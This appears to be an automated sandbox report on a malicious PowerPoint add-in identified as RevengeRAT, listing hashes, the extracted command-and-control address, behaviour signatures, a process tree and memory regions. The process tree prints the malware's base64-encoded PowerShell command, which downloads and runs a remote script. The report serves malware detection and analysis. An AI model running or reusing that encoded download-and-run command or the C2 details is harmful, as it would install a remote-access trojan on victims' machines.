Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11-03-2024 15:01
Static task
static1
Behavioral task
behavioral1
Sample
Detalhes da reserva.ppam
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Detalhes da reserva.ppam
Resource
win10v2004-20240226-en
General
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Target
Detalhes da reserva.ppam
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Size
18KB
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MD5
d9b08507bbed55097f91f61b995f1b81
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SHA1
a10b28c1cca42bc277f1569feb830c10a501383e
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SHA256
0fabe8bad86d907040ba52fc7fc59e1626a4ea86bb24baa85a94734b4517fddb
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SHA512
cf9e1c41fff83c8e851d66ff4baf333b7e12acb99a37c62cf214d06ec5c1ea664e04eb0eb83d8ba206d8ad5a23532d910b48f670678e8238ea70fc9f12ef10b4
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SSDEEP
384:dXPuMXrXloiGnEnKdyOeTR05MVzZcqsts7uJNFTRVmWJhCxM:VPX+i0EnKdyOMRWAzZWbTfmoCq
Malware Config
Extracted
revengerat
NyanCatRevenge
craxsrat.ddns.com.br:333
27d7e6701f5e
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 1592 1968 powershell.exe POWERPNT.EXE -
RevengeRAT
Remote-access trojan with a wide range of capabilities.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 22 1592 powershell.exe -
Process spawned suspicious child process 1 IoCs
This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.
Processes:
DW20.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 788 1968 DW20.EXE POWERPNT.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1592 set thread context of 3936 1592 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RegSvcs.exedwwin.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 RegSvcs.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 dwwin.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dwwin.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dwwin.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
dwwin.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS dwwin.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU dwwin.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 1968 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
POWERPNT.EXEpowershell.exepid process 1968 POWERPNT.EXE 1968 POWERPNT.EXE 1592 powershell.exe 1592 powershell.exe 1592 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1592 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
POWERPNT.EXEpid process 1968 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
POWERPNT.EXEDW20.EXEpowershell.exedescription pid process target process PID 1968 wrote to memory of 1592 1968 POWERPNT.EXE powershell.exe PID 1968 wrote to memory of 1592 1968 POWERPNT.EXE powershell.exe PID 1968 wrote to memory of 788 1968 POWERPNT.EXE DW20.EXE PID 1968 wrote to memory of 788 1968 POWERPNT.EXE DW20.EXE PID 788 wrote to memory of 3652 788 DW20.EXE dwwin.exe PID 788 wrote to memory of 3652 788 DW20.EXE dwwin.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe PID 1592 wrote to memory of 3936 1592 powershell.exe RegSvcs.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Detalhes da reserva.ppam" /ou ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBYAGUAQgBWAGEAQwB0AEMAVABoAG8AWABHAEcAdwBNAEUAZgBSAHUARAB1AEoAVwBFAFIAYQB0AGEAcABKAGUAZgBPAGYAYwB6AEYAQwBJAFMAbgB5AFQAQwBhAEUASABCAGsARQBNAHUATwBwAHAAQgBGAFYATgBDAEIAQgBLAGEAaQBSAA0ACgA=""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Checks processor information in registry
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C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 39242⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\dwwin.exeC:\Windows\system32\dwwin.exe -x -s 39243⤵
- Checks processor information in registry
- Enumerates system info in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgydesg1.cwt.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/788-71-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/788-76-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-75-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-72-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/788-73-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-40-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-70-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/788-74-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/788-50-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-49-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-45-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-44-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/788-42-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1592-82-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-64-0x00000209229E0000-0x0000020922A02000-memory.dmpFilesize
136KB
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memory/1592-95-0x00007FF97C890000-0x00007FF97D351000-memory.dmpFilesize
10.8MB
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memory/1592-91-0x0000020922A30000-0x0000020922A31000-memory.dmpFilesize
4KB
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memory/1592-90-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-88-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-86-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-84-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-80-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-79-0x0000020922A10000-0x0000020922A28000-memory.dmpFilesize
96KB
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memory/1592-78-0x0000020922A10000-0x0000020922A30000-memory.dmpFilesize
128KB
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memory/1592-77-0x000002093ACD0000-0x000002093ACE0000-memory.dmpFilesize
64KB
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memory/1592-66-0x000002093ACD0000-0x000002093ACE0000-memory.dmpFilesize
64KB
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memory/1592-65-0x00007FF97C890000-0x00007FF97D351000-memory.dmpFilesize
10.8MB
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memory/1968-8-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-12-0x00007FF9638F0000-0x00007FF963900000-memory.dmpFilesize
64KB
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memory/1968-69-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-7-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-4-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/1968-6-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/1968-5-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-3-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-2-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/1968-1-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-14-0x00007FF9638F0000-0x00007FF963900000-memory.dmpFilesize
64KB
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memory/1968-10-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-11-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-13-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-0-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/1968-9-0x00007FF965F50000-0x00007FF965F60000-memory.dmpFilesize
64KB
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memory/1968-15-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-24-0x0000025635FE0000-0x00000256367E0000-memory.dmpFilesize
8.0MB
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memory/1968-18-0x0000025637AE0000-0x0000025637CE0000-memory.dmpFilesize
2.0MB
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memory/1968-17-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/1968-16-0x00007FF9A5ED0000-0x00007FF9A60C5000-memory.dmpFilesize
2.0MB
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memory/3936-96-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/3936-97-0x0000000000730000-0x000000000073A000-memory.dmpFilesize
40KB
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memory/3936-98-0x00000000052E0000-0x0000000005884000-memory.dmpFilesize
5.6MB
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memory/3936-99-0x0000000004CB0000-0x0000000004CC0000-memory.dmpFilesize
64KB
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memory/3936-100-0x0000000005150000-0x00000000051EC000-memory.dmpFilesize
624KB
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memory/3936-101-0x00000000051F0000-0x0000000005256000-memory.dmpFilesize
408KB
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memory/3936-102-0x0000000074EC0000-0x0000000075670000-memory.dmpFilesize
7.7MB
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memory/3936-103-0x0000000004CB0000-0x0000000004CC0000-memory.dmpFilesize
64KB